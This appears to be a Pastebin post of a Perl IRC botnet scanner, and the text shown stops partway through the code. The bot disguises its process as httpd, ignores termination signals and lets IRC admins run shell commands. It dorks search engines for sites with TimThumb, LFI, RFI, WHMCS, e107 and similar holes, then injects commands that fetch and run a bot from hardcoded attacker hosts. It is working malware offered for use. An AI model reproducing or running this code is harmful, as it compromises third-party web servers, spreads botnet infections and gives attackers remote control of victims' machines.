API tools faq
paste
Advertisement
Dr_FarFar

[+] mIRC Bot Scanner | By Dr.FarFar

Dr_FarFar
Jul 9th, 2013
7,777
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 94.74 KB | None | 0 0
raw download clone embed print report
  1. /***
  2.      ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄     ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
  3.     ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  4.     ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌   ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
  5.     ▐░▌       ▐░▌▐░▌       ▐░▌   ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  6.     ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌   ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
  7.     ▐░▌       ▐░▌▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  8.     ▐░▌       ▐░▌▐░█▀▀▀▀█░█▀▀    ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀
  9.     ▐░▌       ▐░▌▐░▌     ▐░▌     ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  
  10.     ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌  ▄ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌
  11.     ▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  12.      ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀  ▀            ▀         ▀  ▀         ▀  ▀            ▀         ▀  ▀         ▀
  13.  
  14.                          
  15.                                              
  16. ~~~ :xD: Have Fun. Don't Forget To Bookmark This Website :xD:
  17. ~~~ https://www.FaceBook.com/Dr.FarFar
  18. ~~~ http://Dr-FarFar.BlogSpot.com/
  19.  
  20. */
  21.  
  22. ########################################################################################################################
  23.  
  24. #!/usr/bin/perl
  25.  
  26. use HTTP::Request;
  27. use HTTP::Request::Common;
  28. use HTTP::Request::Common qw(POST);
  29. use LWP::Simple;
  30. use LWP 5.64;
  31. use LWP::UserAgent;
  32. use Socket;
  33. use IO::Socket;
  34. use IO::Socket::INET;
  35. use IO::Select;
  36. use MIME::Base64;
  37. use URI::Escape;
  38. use Digest::MD5 qw(md5_hex);
  39. use DBI;
  40. use DBD::mysql;
  41.  
  42. my $datetime    = localtime;
  43. my $fakeproc    = "/usr/sbin/httpd";
  44. my $ircserver   = "irc.jatimcom.net";
  45. my $ircport     = "7000";
  46. my $nickname    = "BKHT-SC[".int(rand(100))."]";
  47. my $ident       = "Biz";
  48. my $channel     = "#biangkerox";
  49. my $chanxxx     = "#biangkerox";
  50. my $chaninfo    = "#biangkerox";
  51. my $submitchan  = "#biangkerox";
  52. my $admin       = "CaLiBeR";
  53. my $fullname    = "9,1[4!9]11 C 12A 9L 4I 8B 13E 11R ";
  54. my $rawmsg      = $ARGV[4];
  55. my $msgraw      = $ARGV[5];
  56.  
  57. my $nob0dy  = "9,1[4!9]11 C 12A 9L 4I 8B 13E 11R ";
  58. my $whmcslogo   = "9,1[4!9]11WHMCS 9<4=9> ";
  59. my $thumblogo   = "9,1[4!9]11TimThumb 9<4=9> ";
  60. my $zerologo    = "9,1[4!9]11zBoarD 9<4=9> ";
  61. my $lfilogo = "9,1[4!9]11Lfi 9<4=9> ";
  62. my $rfilogo = "9,1[4!9]11Rfi 9<4=9> ";
  63. my $xmllogo = "9,1[4!9]11Xml 9<4=9> ";
  64. my $oscologo    = "9,1[4!9]11Osco 9<4=9> ";
  65. my $oscosqllogo = "9,1[4!9]11O-Sql 9<4=9> ";
  66. my $e107logo    = "9,1[4!9]11E107 9<4=9> ";
  67. my $ihlogo  = "9,1[4!9]11Is-Human 9<4=9> ";
  68. my $zenlogo = "9,1[4!9]11ZenCart 9<4=9> ";
  69. my $rfglogo = "9,1[4!9]11RfG 9<4=9> ";
  70. my $whmcscmd    = '!whmcs';
  71. my $thumbcmd    = "!timx";
  72. my $zerocmd = "!zero";
  73. my $lficmd  = "!lfi";
  74. my $rficmd  = "!rfi";
  75. my $xmlcmd  = "!xml";
  76. my $e107cmd = "!e107";
  77. my $zencmd  = "!zen";
  78. my $ihcmd   = "!ishu";
  79. my $oscocmd = "!osco";
  80. my $cmdlfi  = "!cmdlf";
  81. my $cmdxml  = "!cmdxm";
  82. my $cmde107 = "!cmde10";
  83. my $rfgcmd = "!rfg";
  84. my $ftpcmd  = "!ftp";
  85. my $spreadMode  = 1;
  86. my $zerowget    = 1;
  87. my $zerolwp = 1;
  88. my $zerocurl    = 1;
  89. my $gps     = 1;
  90. my $gps2    = 0;
  91. my $timot   = 10;
  92. my $silentmode  = 0;
  93. my $hostinjector = "http://flickr.com.splendidodesigns.com/";
  94. my $thumbid = "http://".$hostinjector."/stunxx.php";
  95. my $botdid = "http://".$hostinjector."/load.php";
  96. my $botxdid = "http://".$hostinjector."/stunxx.php";
  97. my $thumbshell = uri_escape($thumbid);
  98. my $md5php = md5_hex($thumbid).".php";
  99. my $md5bot = md5_hex($botdid).".php";
  100. my $md5botx = md5_hex($botxdid).".php";
  101. my $botid = uri_escape($botdid);
  102. my $botxid = uri_escape($botxdid);
  103. my $injector = "http://".$hostinjector."/bad.txt";
  104. my $botshell = "http://".$hostinjector."/bot.txt";
  105. my $subticket = "/submitticket.php?step=2&deptid=1";
  106. my $action = "/data/lobex.php";
  107. my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fbad.php;wget%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log";
  108. my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbad.php;lwp-download%20-a%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log";
  109. my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbad.php;curl%20-C%20-%20-O%20http://statcapcerdas.bps.go.id/elib/files/backup/link/bot.log;perl%20bot.log;rm%20bot.log";
  110. my $uagent    = "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0";
  111. my $lfdtest   = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";
  112. my @sitexxx     = ("www.iordachemarian.ro","www.anglais4xplusvite.ch/french","professor.sergiojr.info","northernart.co.th","fer.comoj.com","dateakademie.de");
  113. my $jpath   = "/wp-includes/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  114. my $jack  = "http://".$jacks.$jpath;
  115. my $jack1 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";
  116. my $jack2 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";
  117. my $jack3 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";
  118. my $jack4 = "http://www.vip2vip.net/administrator/includes/js/post.php?q=";
  119. my $jack5 = "http://barileatherfurniture.com/banner_images/cihui.php?q=";
  120. my $engine  = "JacKAC,JacKAD,JacKAE,JacKAF,JacKAG,JacKAL,JacKAM,JacKAN,JacKAT,JacKAR,JacKAU,JacKBE,JacKHU,JacKOrG,JacKCoM,JacKNeT,JacKPL,JacKIT,JacKID,JacKMY,
  121.                 JacKES,JacKUK,JacKUS,JacKJP,JacKKR,JacKDE,JacKDK,JacKCA,JacKBR,JacKRO,JacKRU,JacKNL,JacKInfO,JacKFR,JacKIN,JacKMX,JacKCZ,JacKCL,JacKUA,
  122.                 JacKCN,JacKIR,JacKTH,JacKEU,JacKPH,JackIL,JackIM,JacKSI,JacKBIZ,GooGLe,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam";
  123.  
  124. $SIG{'INT'}   = 'IGNORE';
  125. $SIG{'HUP'}   = 'IGNORE';
  126. $SIG{'TERM'}  = 'IGNORE';
  127. $SIG{'CHLD'}  = 'IGNORE';
  128. $SIG{'PS'}    = 'IGNORE';
  129. #chdir("/");
  130. $ircserver = "$ARGV[0]" if $ARGV[0];
  131. $ircport = "$ARGV[1]" if $ARGV[1];
  132. $nickname = "$ARGV[2]" if $ARGV[2];
  133. $channel = "$ARGV[3]" if $ARGV[3];
  134. $0 = "$fakeproc"."\0" x 16;
  135. my $pid = fork;
  136. exit if $pid;
  137. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  138.  
  139. our %irc_servers;
  140. our %DCC;
  141. my $dcc_sel = new IO::Select->new();
  142. $sel_client = IO::Select->new();
  143. sub sendraw {
  144.    if ($#_ == '1') {
  145.    my $socket = $_[0];
  146.    print $socket "$_[1]\n";
  147.    } else {
  148.        print $IRC_cur_socket "$_[0]\n";
  149.    }
  150. }
  151. sub connector {
  152.    my $mynick = $_[0];
  153.    my $ircserver_con = $_[1];
  154.    my $ircport_con = $_[2];
  155.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  156.    if (defined($IRC_socket)) {
  157.        $IRC_cur_socket = $IRC_socket;
  158.        $IRC_socket->autoflush(1);
  159.        $sel_client->add($IRC_socket);
  160.        $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  161.        $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  162.        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  163.        $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  164.        nick("$mynick");
  165.        sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  166.        sleep(1);}}
  167.  
  168. sub parse {
  169.    my $servarg = shift;
  170.    if ($servarg =~ /^PING \:(.*)/) {
  171.        sendraw("PONG :$1");
  172.    }
  173.    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  174.        if (lc($1) eq lc($mynick)) {
  175.            $mynick = $4;
  176.            $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  177.        }
  178.    }
  179.    elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  180.        nick("$mynick".int rand(1));
  181.    }
  182.    elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  183.        $mynick = $2;
  184.        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  185.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  186.        sendraw("MODE $mynick +Bx");
  187.        sendraw("NS id qwe123");
  188.        sleep(3);
  189.        sendraw("JOIN $channel correct");
  190.        sendraw("JOIN $chanxxx mejen");
  191.        sleep(1);
  192.     sendraw("PRIVMSG $channel :9,1[4!9]15 EhhEemmmm !!!");
  193.        sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  194.    }
  195. }
  196.  
  197. my $line_temp;
  198. while( 1 ) {
  199.    while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  200.    select(undef, undef, undef, 0.01);
  201.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  202.    my @ready = $sel_client->can_read(0);
  203.    next unless(@ready);
  204.    foreach $fh (@ready) {
  205.        $IRC_cur_socket = $fh;
  206.        $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  207.        $nread = sysread($fh, $ircmsg, 4096);
  208.        if ($nread == 0) {
  209.            $sel_client->remove($fh);
  210.  
  211.            $fh->close;
  212.            delete($irc_servers{$fh});
  213.        }
  214.        @lines = split (/\n/, $ircmsg);
  215.        $ircmsg =~ s/\r\n$//;
  216.        if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  217.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);         
  218.            if ($path eq $mynick) {
  219.                 if ($msg =~ /^PING (.*)/) {
  220.                     sendraw("NOTICE $nick :PING $1");
  221.                 }
  222.                 if ($msg =~ /^VERSION/) {
  223.                     sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  224.                 }
  225.                 if ($msg =~ /^TIME/) {
  226.                     sendraw("NOTICE $nick :TIME ".$datetime."");
  227.                 }
  228.                 if (&isAdmin($nick) && $msg eq "!die") {
  229.                     &shell("$path","kill -9 $$");
  230.                 }
  231.                 if (&isAdmin($nick) && $msg eq "!killall") {
  232.                     &shell("$path","killall -9 perl");
  233.                 }
  234.                 if (&isAdmin($nick) && $msg eq "!reset") {
  235.                     sendraw("QUIT :Restarting...");
  236.                 }
  237.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  238.                     sendraw("JOIN #".$1);
  239.                 }
  240.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  241.                     sendraw("PART #".$1);
  242.                 }
  243.                 if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  244.                     sendraw("NICK ".$1);
  245.                 }
  246.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  247.                     sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  248.                 }
  249.                 if (&isAdmin($nick) && $msg !~ /^!/) {
  250.                     &shell("$nick","$msg");
  251.                 }
  252.                 if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  253.                     sendraw("$rawmsg $msgraw ".$1);
  254.                 }
  255.                 if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  256.                     sendraw("PRIVMSG $rawmsg ".$1);
  257.                 }
  258.                 if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  259.                     sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
  260.                 }
  261.                 if (&isAdmin($nick) && $msg =~ /^!chtcmd\s+(.*) -d/) {
  262.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  263.                     $newthumbcmd = $1;
  264.                     $thumbcmd = $newthumbcmd;
  265.                     &msg("$admin","$thumblogo9 Scan Command change to4 $thumbcmd ");
  266.                 }}}
  267.                 if (&isAdmin($nick) && $msg =~ /^!chzcmd\s+(.*) -d/) {
  268.                     $newzerocmd = $1;
  269.                     $zerocmd = $newzerocmd;
  270.                     &msg("$admin","$zerologo9 Scan Command change to4 $zerocmd ");
  271.                 }
  272.                 if (&isAdmin($nick) && $msg =~ /^!chwcmd\s+(.*) -d/) {
  273.                     $newwhmcscmd = $1;
  274.                     $whmcscmd = $newwhmcscmd;
  275.                     &msg("$admin","$whmcslogo9 Scan Command change to4 $whmcscmd ");
  276.                 }
  277.                 if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  278.                     $newtimot = $1;
  279.                     $timot = $newtimot;
  280.                     &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
  281.                 }
  282.                 if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
  283.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  284.                     $newchan = $1;
  285.                     $chanxxx = $newchan;
  286.                     &msg("$admin","9,1 xChan change to4 $chanxxx ");
  287.                 }}}
  288.             }
  289.             else {
  290.                 if (&isAdmin($nick) && $msg eq "!die") {
  291.                     &shell("$path","kill -9 $$");
  292.                 }
  293.                 if (&isAdmin($nick) && $msg eq "!killall") {
  294.                     &shell("$path","killall -9 perl");
  295.                 }
  296.                 if (&isAdmin($nick) && $msg eq "!reset") {
  297.                     sendraw("QUIT :Restarting...");
  298.                 }
  299.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  300.                     sendraw("JOIN #".$1);
  301.                 }
  302.                 if (&isAdmin($nick) && $msg eq "!part") {
  303.                     sendraw("PART $path");
  304.                 }
  305.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  306.                     sendraw("PART #".$1);
  307.                 }
  308.                 if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  309.                     &shell("$path","$1");
  310.                 }
  311.                 if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  312.                     &shell("$path","$1");
  313.                 }
  314.                 if ($msg=~ /^!silent\s+(.*) -d/) {
  315.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  316.                     $smod = $1;
  317.                 if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  318.                 elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  319.                     &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
  320.                 }}}
  321.                 if ($msg=~ /^!jackx\s+(.*) -d/) {
  322.                     $engmod = $1;
  323.                 if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; }
  324.  
  325.                 elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; }
  326.                     &msg("$path","9,1[4!9]Jack Engine15 $gpsstat !!!!");
  327.                 }
  328.                 if ($msg=~ /^!engine\s+(.*) -d/) {
  329.                     $engmod = $1;
  330.                 if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; }
  331.                 elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; }
  332.                     &msg("$path","9,1[4!9]Multi Engine15 $gpsstat !!!!");
  333.                 }
  334.                 if (&isAdmin($nick) && $msg =~ /^!injector\s+(.*) -d/) {
  335.                     $newhostinjector= $1;
  336.                     $hostinjector = $newhostinjector;
  337.                     &msg("$path","9,1[4!9]Injector 15change to4 $hostinjector ");
  338.                 }
  339.                 if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
  340.                     my $url = $1.$lfdtest;
  341.                     my $cmd = $2;
  342.                     &cmdlfi($url,$cmd,$path);
  343.                 }
  344.                 if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
  345.                     my $url = $1;
  346.                     my $cmd = $2;
  347.                     &cmdxml($url,$cmd,$path);
  348.                 }
  349.                 if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
  350.                     my $url = $1;
  351.                     my $cmd = $2;
  352.                     &cmde107($url,$cmd,$path);
  353.                 }
  354.                ##################################################################### HELP COMMAND
  355.                 if ($msg=~ /^!help/) {
  356.                     my $helplogo = "9,1[4!9]15Help 4<9=4> ";sleep(3);
  357.                     &msg("$path","$helplogo9Timthumb Vuln Scan:15 $thumbcmd [bug] [dork] ");
  358.                     &msg("$path","$helplogo9RFG Vuln Scan:15 $rfgcmd [bug] [dork] ");
  359.                     &msg("$path","$helplogo9RFI Vuln Scan:15 $rficmd [bug] [dork] ");
  360.                     &msg("$path","$helplogo9LFI Vuln Scan:15 $lficmd [bug] [dork] ");
  361.                     &msg("$path","$helplogo9XML Vuln Scan:15 $xmlcmd [bug] [dork] ");
  362.                     &msg("$path","$helplogo9e107 Vuln Scan:15 $e107cmd [dork] ");
  363.                     &msg("$path","$helplogo9WHMCS Vuln Scan:15 $whmcscmd [dork] ");
  364.                     &msg("$path","$helplogo9ZeroBoard Vuln Scan:15 $zerocmd [dork] ");
  365.                     &msg("$path","$helplogo9osCommerce Vuln Scan:15 $oscocmd [dork] ");
  366.                     &msg("$path","$helplogo9ZenCart Vuln Scan:15 $zencmd [dork] ");
  367.                 }
  368.                if (&isAdmin($nick) && $msg =~ /^!pid/) {
  369.                    &msg("$nick","6Fake Process/PID : $fakeproc - $$");
  370.                }
  371.                if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  372.                    if (&isFound($thumbid,"GIF89")) {
  373.                        &msg("$path","9,1[4!9]Injector 4<9=4>9 Ready!!! ");
  374.                    } else {
  375.                        &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  376.                    }
  377.                }
  378.                 if ($msg=~/^!bypass/){
  379.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  380.                     my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";
  381.                     my $cekby1 = &get_content($jack1."byroe");
  382.                     if ($cekby1 =~ /byroe\.net/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4Lost!!!"; }
  383.                     my $cekby2 = &get_content($jack2."byroe");
  384.                     if ($cekby2 =~ /byroe\.net/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4Lost!!!"; }
  385.                     my $cekby3 = &get_content($jack3."byroe");
  386.                     if ($cekby3 =~ /byroe\.net/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4Lost!!!"; }
  387.                     my $cekby4 = &get_content($jack4."byroe");
  388.                     if ($cekby4 =~ /byroe\.net/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4Lost!!!"; }
  389.                     my $cekby5 = &get_content($jack5."byroe");
  390.                     if ($cekby5 =~ /byroe\.net/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4Lost!!!"; }
  391.                     &msg("$path","9,1[4!9]Bypass 4<9=4>15 JacK1=$bystats1 15JacK2=$bystats2 15JacK3=$bystats3 15JacK4=$bystats4 15JacK5=$bystats5")
  392.                 }}}
  393.                ##################################################################### SCAN
  394.                if ($msg =~ /^$oscocmd\s+(.*)/) {
  395.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  396.                     my $dork = $1;
  397.                     my $simpan = 'situs.txt';
  398.                         if (&isFound($thumbid,"GIF89")) {
  399.                             &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Oscommerce di 4$path ");
  400.                             &msg("$path","$oscologo9Dork 4<9=4>15 $dork ");
  401.                             &msg("$path","$oscologo9Search Engine 4<9=4>15 Loading ");
  402.                             &se_start($path,"apalah",$simpan,$dork,$engine,9);
  403.                             } else {
  404.                             &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;
  405.                             }
  406.                         }
  407.                     }
  408.                 }
  409.                if ($msg =~ /^$lficmd\s+(.+?)\s+(.*)/) {
  410.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  411.                     my ($bug,$dork) = ($1,$2);
  412.                     my $simpan = 'situs.txt';
  413.                         if (&isFound($thumbid,"GIF89")) {
  414.                             &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan LFI di 4$path ");
  415.                             &msg("$path","$lfilogo9Dork 4<9=4>15 $dork ");
  416.                             &msg("$path","$lfilogo9Bugz 4<9=4>15 $bug ");
  417.                             &msg("$path","$lfilogo9Search Engine 4<9=4>15 Loading ");
  418.                             &se_start($path,$bug,$simpan,$dork,$engine,3);
  419.                             } else {
  420.                             &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;
  421.                             }
  422.                         }
  423.                     }
  424.                 }
  425.                if ($msg =~ /^$rficmd\s+(.+?)\s+(.*)/) {
  426.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  427.                     my ($bug,$dork) = ($1,$2);
  428.                     my $simpan = 'situs.txt';
  429.                         if (&isFound($thumbid,"GIF89")) {
  430.                             &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan RFI di 12$path ");
  431.                             &msg("$path","$rfilogo9Dork 4<9=4>15 $dork ");
  432.                             &msg("$path","$rfilogo9Bugz 4<9=4>15 $bug ");
  433.                             &msg("$path","$rfilogo9Search Engine 4<9=4>15 Loading ");
  434.                             &se_start($path,$bug,$simpan,$dork,$engine,5);
  435.                             } else {
  436.                             &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;
  437.                             }
  438.                         }
  439.                     }
  440.                 }
  441.                if ($msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) {
  442.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  443.                     my ($bug,$dork) = ($1,$2);
  444.                     my $simpan = 'situs.txt';
  445.                             &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan XML di 12$path ");
  446.                             &msg("$path","$xmllogo9Dork 4<9=4>15 $dork ");
  447.                             &msg("$path","$xmllogo9Bugz 4<9=4>15 $bug ");
  448.                             &msg("$path","$xmllogo9Search Engine 4<9=4>15 Loading ");
  449.                             &se_start($path,$bug,$simpan,$dork,$engine,6);
  450.                         }
  451.                     }
  452.                 }
  453.                if ($msg =~ /^$thumbcmd\s+(.+?[.php])\s+(.*)/) {
  454.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  455.                     my ($bug,$dork) = ($1,$2);
  456.                     my $simpan = 'situs.txt';
  457.                         if ($bug =~ m/^\//){ &msg("$path","9,1[4!9]Bug nya gak usah pakek \/ di depan :p "); exit; } else {
  458.                         if (&isFound($thumbid,"GIF89")) {
  459.                             &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan TimTHumb di 12$path ");
  460.                             &msg("$path","$thumblogo9Dork 4<9=4>15 $dork ");
  461.                             &msg("$path","$thumblogo9Bugz 4<9=4>15 $bug ");
  462.                             &msg("$path","$thumblogo9Search Engine 4<9=4>15 Loading ");
  463.                             &se_start($path,$bug,$simpan,$dork,$engine,1);
  464.                             } else {
  465.                             &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit; }
  466.                             }
  467.                         }
  468.                     }
  469.                 }
  470.                if ($msg =~ /^$whmcscmd\s+(.*)/) {
  471.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  472.                         my ($bug,$dork) = ("cart.php?a=byroe&templatefile=",$1);
  473.                         my $simpan = 'situs.txt';
  474.                             &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan WHMCS di 12$path ");
  475.                             &msg("$path","$whmcslogo9Dork 4<9=4>15 $dork ");
  476.                             &msg("$path","$whmcslogo9Search Engine 4<9=4>15 Loading ");
  477.                             &se_start($path,$bug,$simpan,$dork,$engine,2);
  478.                         }
  479.                     }
  480.                 }
  481.                if ($msg =~ /^$zerocmd\s+(.*)/) {
  482.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  483.                         if (&isFound($thumbid,"GIF89")) {
  484.                         my ($bug,$dork) = ("zboard.php?id=byroe",$1);
  485.                         my $simpan = 'situs.txt';
  486.                             &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan zboard di 12$path ");
  487.                             &msg("$path","$zerologo9Dork 4<9=4>15 $dork ");
  488.                             &msg("$path","$zerologo9Search Engine 4<9=4>15 Loading ");
  489.                             &se_start($path,$bug,$simpan,$dork,$engine,4);
  490.                             } else {
  491.                             &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  492.                             }
  493.                         }
  494.                     }
  495.                 }
  496.                if ($msg =~ /^$e107cmd\s+(.*)/) {
  497.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  498.                         if (&isFound($thumbid,"GIF89")) {
  499.                         my ($bug,$dork) = ("contact.php",$1);
  500.                         my $simpan = 'situs.txt';
  501.                             &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan E107 di 12$path ");
  502.                             &msg("$path","$e107logo9Dork 4<9=4>15 $dork ");
  503.                             &msg("$path","$e107logo9Search Engine 4<9=4>15 Loading ");
  504.                             &se_start($path,$bug,$simpan,$dork,$engine,7);
  505.                             } else {
  506.                             &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  507.                             }
  508.                         }
  509.                     }
  510.                 }
  511.                if ($msg =~ /^$ihcmd\s+(.*)/) {
  512.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  513.                         if (&isFound($thumbid,"GIF89")) {
  514.                         my ($bug,$dork) = ("wp-content/plugins/is-human/engine.php",$1);
  515.                         my $simpan = 'situs.txt';
  516.                             &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Is-Human di 12$path ");
  517.                             &msg("$path","$ihlogo9Dork 4<9=4>15 $dork ");
  518.                             &msg("$path","$ihlogo9Search Engine 4<9=4>15 Loading ");
  519.                             &se_start($path,$bug,$simpan,$dork,$engine,8);
  520.                             } else {
